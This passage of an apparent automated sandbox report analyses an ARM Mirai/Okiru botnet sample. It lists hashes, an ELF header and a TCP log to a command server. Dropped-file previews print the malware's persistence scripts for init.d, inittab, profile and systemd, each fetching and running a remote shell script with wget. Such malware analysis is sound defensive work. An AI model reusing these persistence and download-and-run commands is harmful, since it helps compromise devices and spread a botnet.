                              • 94.156.227.234
                              x86_32.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              mipsel.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              powerpc.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              sparc.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              arm7.nn-20241224-0652.elfGet hashmaliciousMirai, OkiruBrowse
                              • 94.156.227.234

                              JA3 Fingerprints

                              ⊘No context

                              Dropped Files

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              /etc/rc.localmips.nn.elfGet hashmaliciousOkiruBrowse
                                mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                  sparc.nn.elfGet hashmaliciousOkiruBrowse
                                    x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                      m68k.nn.elfGet hashmaliciousOkiruBrowse
                                        powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                          x86_64.nn.elfGet hashmaliciousOkiruBrowse
                                            x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                              mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                powerpc.nn.elfGet hashmaliciousOkiruBrowse

                                                  Created / dropped Files

                                                  /boot/bootcmd

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):126
                                                  Entropy (8bit):4.64761413682049
                                                  Encrypted:false
                                                  SSDEEP:3:KPJRXgLLINFDDoCvLdjX43LbaaFOdFXa5O:WJRgWfoYZX47baaeXCO
                                                  MD5:981A34E35C807F0DED49A21A105AE7F7
                                                  SHA1:5646B2BA22CDA5C07ACE65A7D88AAFBB3217C17D
                                                  SHA-256:95C233C7436D5C4A3B7D24241B094BC4A0835EB504EEA8527BDA988C0157C7E8
                                                  SHA-512:623BCCB03EADE5359B6E8653FD5459E4775A3B72BC5E0752B0F93C1FCFD00B6A5C924BCED395D2BCC92F9A1B856B8171E69BE8DAB5CF081A46658E6FD3A4B30D
                                                  Malicious:false
                                                  Reputation:low
                                                  Preview:run bootcmd_mmc0; /tmp/arm5.nn.elf && wget http://94.156.227.229/lol.sh -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                  /etc/init.d/arm5.nn.elf

                                                  Download File
                                                  Process:/bin/sh
                                                  File Type:POSIX shell script, ASCII text executable
                                                  Category:dropped
                                                  Size (bytes):406
                                                  Entropy (8bit):4.551002098832983
                                                  Encrypted:false
                                                  SSDEEP:12:QRkuSXNxuOKUJgjvMXAF/uKN+dRRucSOyd3:q7O1IygCYOM3
                                                  MD5:E43DE09423962D0A65DC6486F8BA74E5
                                                  SHA1:1EDF4D8DFEA8688D1929F34315F1069454FDFB54
                                                  SHA-256:77DD3C5E54E4B50CCDDBD25AFE6F6385EAB645D41E16732A9D5DE4BCEFEE591B
                                                  SHA-512:6D5FDAA4463F7F249A6FAC9058F2165461E479D045BA3BA9D28BB48DDAC5A01529EFAF3C112D93D743A4068AF6CF39D44BA7172F8483CC8DDDA963584215685D
                                                  Malicious:true
                                                  Reputation:low
                                                  Preview:#!/bin/sh.# /etc/init.d/arm5.nn.elf..case "" in. start). echo 'Starting arm5.nn.elf'. /tmp/arm5.nn.elf &. wget http://94.156.227.229/lol.sh -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping arm5.nn.elf'. killall arm5.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start|stop|restart}". exit 1. ;;.esac.exit 0.

                                                  /etc/init.d/system

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:POSIX shell script, ASCII text executable
                                                  Category:dropped
                                                  Size (bytes):113
                                                  Entropy (8bit):4.6359130851652495
                                                  Encrypted:false
                                                  SSDEEP:3:TKH4vZKgLLINFDvSDRFiLdjX43LpaKB0dFLoKE0:h8gWzSXoZX47zBeLXE0
                                                  MD5:FA9DA09AA089EE390B6B7B0DDD1E9C6F
                                                  SHA1:36491D161610F2D3BBA48F011DE7C00A7DD4214A
                                                  SHA-256:94827BEB2BB3AF48F0CB91A7FB6F86369C6B5EA061A379540750FE356F58E357
                                                  SHA-512:F4272C4BE2289C6D20774BC08D7E32A82C386C0A26B4B94D0A860AD822A142EEDF852D54DFF697E8DE262342BF27C7D495A0EF68E1B38C0FA81BE004106CE1DC
                                                  Malicious:true
                                                  Reputation:low
                                                  Preview:#!/bin/sh./tmp/arm5.nn.elf &.wget http://94.156.227.229/lol.sh -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

                                                  /etc/inittab

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):118
                                                  Entropy (8bit):4.5641194386763
                                                  Encrypted:false
                                                  SSDEEP:3:nAWu5GLLINFDDoCvLdjX43LbaaFOdFXa5O:AIWfoYZX47baaeXCO
                                                  MD5:5E1F8A37B7E60AE4C5203A75E60D9CDF
                                                  SHA1:F2168ACE2A26BFC617D523C489878DF42E91979C
                                                  SHA-256:3B92426BE39F5ED0D878D520FB2B337F64066DECF9620A080428B1C96DA23563
                                                  SHA-512:721E67CD88530676C7A2971A7E0CC1E98DDFC22E2D94601BD6104EE4EBF07F1BA767C503B6B5E310EAF5EC2FFEC852333ADA3F14FAA7AA3476DC43FA859737BC
                                                  Malicious:false
                                                  Reputation:low
                                                  Preview:::respawn:/tmp/arm5.nn.elf && wget http://94.156.227.229/lol.sh -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                  /etc/motd

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):53
                                                  Entropy (8bit):3.871459242626451
                                                  Encrypted:false
                                                  SSDEEP:3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
                                                  MD5:2BD9B4BE30579E633FC0191AA93DF486
                                                  SHA1:7D63A9BD9662E86666B27C1B50DB8E7370C624FF
                                                  SHA-256:64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
                                                  SHA-512:AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
                                                  Malicious:false
                                                  Reputation:moderate, very likely benign file
                                                  Preview:gorilla botnet is on the device ur not a cat go away.

                                                  /etc/profile

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):109
                                                  Entropy (8bit):4.487760140811423
                                                  Encrypted:false
                                                  SSDEEP:3:TggLLINFDvSDRFiLdjX43LbaaFOdFXa50:TggWzSXoZX47baaeXC0
                                                  MD5:D26EFEFADEDF96F227B7B9C90AF90FBB
                                                  SHA1:3DE83B0E5FD64857546A57D8EE531E735D178CFF
                                                  SHA-256:AE6C8FC4FBE375402DACE1C47E44641FD7DF96DD6C515AB4326013E710D99FE8
                                                  SHA-512:070B8CA2D89F0EB1F1CA2B2BCEBBF9A3071753D7C0C9E73809B6FE6142137708F04D56443A923F2F6481A857B04E804684064582A58BD6A4491B167CD71E7FF3
                                                  Malicious:true
                                                  Reputation:low
                                                  Preview:/tmp/arm5.nn.elf &.wget http://94.156.227.229/lol.sh -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

                                                  /etc/rc.local

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:POSIX shell script, ASCII text executable
                                                  Category:dropped
                                                  Size (bytes):10
                                                  Entropy (8bit):3.121928094887362
                                                  Encrypted:false
                                                  SSDEEP:3:TKH4vn:hv
                                                  MD5:3E2B31C72181B87149FF995E7202C0E3
                                                  SHA1:BD971BEC88149956458A10FC9C5ECB3EB99DD452
                                                  SHA-256:A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
                                                  SHA-512:543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
                                                  Malicious:true
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Joe Sandbox View:
                                                  • Filename: mips.nn.elf, Detection: malicious, Browse
                                                  • Filename: mipsel.nn.elf, Detection: malicious, Browse
                                                  • Filename: sparc.nn.elf, Detection: malicious, Browse
                                                  • Filename: x86_32.nn.elf, Detection: malicious, Browse
                                                  • Filename: m68k.nn.elf, Detection: malicious, Browse
                                                  • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                  • Filename: x86_64.nn.elf, Detection: malicious, Browse
                                                  • Filename: x86_32.nn.elf, Detection: malicious, Browse
                                                  • Filename: mipsel.nn.elf, Detection: malicious, Browse
                                                  • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                  Reputation:moderate, very likely benign file
                                                  Preview:#!/bin/sh.

                                                  /etc/systemd/system/custom.service

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):307
                                                  Entropy (8bit):5.04541470642075
                                                  Encrypted:false
                                                  SSDEEP:6:z8ifitRZAMzdK+c802+GWRAZX47N2+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+c8p+GWRkKY+GWRXY+GWRuO
                                                  MD5:A65CD8FCFC02125187E66BF93B11D342
                                                  SHA1:078EBFEC46F600DD362AAE20CAF05EC22F9FF83F
                                                  SHA-256:15C2F2E994B86CAC773DA5FD53D377DA68A69C1834C84DA90B1F7E79D2EAF208
                                                  SHA-512:EBD3978EFB6DB08A0080866C94BA4EC7833AEB34F42F46E9704DC9975630E2079871A8F4709D0E4EE3362092EDBE3A046AD9C3E3C2F7BB6986C711EBEC7B772E
                                                  Malicious:false
                                                  Preview:[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/arm5.nn.elf.ExecStartPost=/usr/bin/wget http://94.156.227.229/lol.sh -O /tmp/lol.sh.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

                                                  /memfd:snapd-env-generator (deleted)

                                                  Download File
                                                  Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                  File Type:ASCII text
                                                  Category:dropped
                                                  Size (bytes):76
                                                  Entropy (8bit):3.7627880354948586
                                                  Encrypted:false
                                                  SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                                                  MD5:D86A1F5765F37989EB0EC3837AD13ECC
                                                  SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                                                  SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                                                  SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                                                  Malicious:false
                                                  Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

                                                  /tmp/qemu-open.7T8fXH (deleted)

                                                  Download File
                                                  Process:/tmp/arm5.nn.elf
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):17
                                                  Entropy (8bit):3.6168746059562227
                                                  Encrypted:false
                                                  SSDEEP:3:TggLLINln:Tgg2n
                                                  MD5:50495054883CEDEB77CB4F8D068EEFF6
                                                  SHA1:14317EF270AC6D985392169FD7D00554C0B194A5
                                                  SHA-256:BFDA309B362AADA1D8538EC8D72FAB3463F75473508028B5392BB333059CC60C
                                                  SHA-512:F16AB5F0651079E58F6865C7E6CE6511766F98F157ACA7525C4A9D0F7B118BE8368D92D538BCED6F99D6F0D23C2A93D56099A598ECF9EE46EDD743995DA0D016
                                                  Malicious:false
                                                  Preview:/tmp/arm5.nn.elf.

                                                  Static File Info

                                                  General

                                                  File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                                                  Entropy (8bit):6.18823839107535
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:arm5.nn.elf
                                                  File size:89'012 bytes
                                                  MD5:3d0e7b9895721480231b8aecfc3ab03c
                                                  SHA1:2cb17a10a66f4f25484c1125d748c25c8337d5c0
                                                  SHA256:ce50c7368d0d50aed73d522620d1287509e4921e8f9e88625b2e6d605797b177
                                                  SHA512:f3754e27aed1dbe5ff1b9d52c5deb846450f845c9c30a97579098a9fca7261b64fbd1e3e27f8303fa3610b4a89b2359677a408a938b168d2cf574853cc0c53b8
                                                  SSDEEP:1536:7ZzjYGFxcBha6aitK4o6YjK4Wjp65eTTyNZ2k0Pgo:7ZzcGFxwK4kbWjpqeaZkgo
                                                  TLSH:D0934A91B9816613C6D522BAF67E02CD372623B8D3EF72179D25AF21738682B0D77601
                                                  File Content Preview:.ELF...a..........(.........4...$Z......4. ...(......................U...U...............U...U...U.......&..........Q.td..................................-...L."....K..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                                                  Static ELF Info

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:ARM
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:ARM - ABI
                                                  ABI Version:0
                                                  Entry Point Address:0x8190
                                                  Flags:0x2
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:88612
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9

                                                  Sections

                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x80940x940x180x00x6AX004
                                                  .textPROGBITS0x80b00xb00x12ed40x00x6AX0016
                                                  .finiPROGBITS0x1af840x12f840x140x00x6AX004
                                                  .rodataPROGBITS0x1af980x12f980x25780x00x2A004
                                                  .ctorsPROGBITS0x255140x155140x80x00x3WA004
                                                  .dtorsPROGBITS0x2551c0x1551c0x80x00x3WA004
                                                  .dataPROGBITS0x255280x155280x4bc0x00x3WA004
                                                  .bssNOBITS0x259e40x159e40x22140x00x3WA004
                                                  .shstrtabSTRTAB0x00x159e40x3e0x00x0001

                                                  Program Segments

                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x80000x80000x155100x155106.20020x5R E0x8000.init .text .fini .rodata
                                                  LOAD0x155140x255140x255140x4d00x26e44.62990x6RW 0x8000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                  Network Behavior

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 27, 2024 09:19:20.939189911 CET3820638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:21.058739901 CET382423820694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:21.058835983 CET3820638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:21.059062958 CET3820638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:21.178502083 CET382423820694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:21.674607038 CET3820638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:21.835931063 CET382423820694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:22.172744989 CET382423820694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:22.172840118 CET3820638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:22.681972980 CET3820838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:22.801503897 CET382423820894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:22.801579952 CET3820838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:22.801610947 CET3820838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:22.921102047 CET382423820894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:23.321868896 CET3820838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:23.483933926 CET382423820894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:24.039361000 CET382423820894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:24.039446115 CET3820838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:24.327033997 CET3821038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:24.446629047 CET382423821094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:24.446783066 CET3821038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:24.446783066 CET3821038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:24.566327095 CET382423821094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:25.001351118 CET3821038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:25.164069891 CET382423821094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:25.630439997 CET382423821094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:25.630537987 CET3821038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:26.005297899 CET3821238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:26.124819040 CET382423821294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:26.124881029 CET3821238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:26.124962091 CET3821238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:26.244385958 CET382423821294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:26.737073898 CET3821238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:26.900012016 CET382423821294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:27.318233967 CET382423821294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:27.318356991 CET3821238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:27.739840031 CET3821438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:27.859507084 CET382423821494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:27.859587908 CET3821438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:27.859647036 CET3821438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:27.979176044 CET382423821494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:28.367449045 CET3821438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:28.528024912 CET382423821494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:29.012739897 CET382423821494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:29.012813091 CET3821438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:29.369004965 CET3821638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:29.488574982 CET382423821694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:29.488702059 CET3821638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:29.488771915 CET3821638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:29.608378887 CET382423821694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:29.995531082 CET3821638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:30.156076908 CET382423821694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:30.611301899 CET382423821694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:30.611392975 CET3821638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:30.997529030 CET3821838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:31.117259979 CET382423821894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:31.117347956 CET3821838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:31.117383003 CET3821838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:31.236932993 CET382423821894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:31.621123075 CET3821838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:31.783976078 CET382423821894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:32.317302942 CET382423821894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:32.317388058 CET3821838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:32.622325897 CET3822038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:32.741899967 CET382423822094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:32.741965055 CET3822038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:32.742021084 CET3822038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:32.861648083 CET382423822094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:33.250540018 CET3822038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:33.411999941 CET382423822094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:33.883164883 CET382423822094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:33.883235931 CET3822038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:34.251909971 CET3822238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:34.371485949 CET382423822294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:34.371540070 CET3822238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:34.371577024 CET3822238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:34.491084099 CET382423822294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:34.875133038 CET3822238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:35.035999060 CET382423822294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:35.529731035 CET382423822294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:35.529793978 CET3822238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:35.875992060 CET3822438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:35.995491982 CET382423822494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:35.995628119 CET3822438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:35.995642900 CET3822438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:36.115355015 CET382423822494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:36.498996019 CET3822438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:36.660821915 CET382423822494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:37.185065031 CET382423822494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:37.185170889 CET3822438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:37.499919891 CET3822638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:37.619440079 CET382423822694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:37.619582891 CET3822638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:37.619604111 CET3822638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:37.739192963 CET382423822694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:38.122714043 CET3822638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:38.283962965 CET382423822694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:38.839508057 CET382423822694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:38.839626074 CET3822638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:39.123579979 CET3822838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:39.243061066 CET382423822894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:39.243118048 CET3822838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:39.243156910 CET3822838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:39.362611055 CET382423822894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:39.747339964 CET3822838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:39.908008099 CET382423822894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:40.402980089 CET382423822894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:40.403045893 CET3822838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:40.748234987 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:40.867784023 CET382423823094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:40.867835999 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:40.867861032 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:40.987458944 CET382423823094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:41.370650053 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:41.747230053 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:41.926486969 CET382423823094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:42.022377014 CET382423823094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:42.022438049 CET3823038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:42.371695042 CET3823238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:42.491179943 CET382423823294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:42.491261959 CET3823238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:42.491303921 CET3823238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:42.610785961 CET382423823294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:42.995774031 CET3823238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:43.155967951 CET382423823294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:43.693941116 CET382423823294.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:43.694022894 CET3823238242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:43.996943951 CET3823438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:44.117083073 CET382423823494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:44.117171049 CET3823438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:44.117213011 CET3823438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:44.236740112 CET382423823494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:44.623969078 CET3823438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:44.784379005 CET382423823494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:45.340697050 CET382423823494.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:45.340893030 CET3823438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:45.625101089 CET3823638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:45.744585991 CET382423823694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:45.744648933 CET3823638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:45.744690895 CET3823638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:45.864116907 CET382423823694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:46.248557091 CET3823638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:46.483766079 CET382423823694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:46.870461941 CET382423823694.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:46.870534897 CET3823638242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:47.249505043 CET3823838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:47.369086981 CET382423823894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:47.369154930 CET3823838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:47.369194984 CET3823838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:47.488714933 CET382423823894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:47.872560024 CET3823838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:48.036031008 CET382423823894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:48.495166063 CET382423823894.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:48.495229959 CET3823838242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:48.873605967 CET3824038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:48.993833065 CET382423824094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:48.993896961 CET3824038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:48.993949890 CET3824038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:49.113668919 CET382423824094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:49.498667955 CET3824038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:49.659982920 CET382423824094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:50.108174086 CET382423824094.156.227.234192.168.2.15
                                                  Dec 27, 2024 09:19:50.108237982 CET3824038242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:50.499659061 CET3824438242192.168.2.1594.156.227.234
                                                  Dec 27, 2024 09:19:50.619146109 CET382423824494.156.227.234192.168.2.15
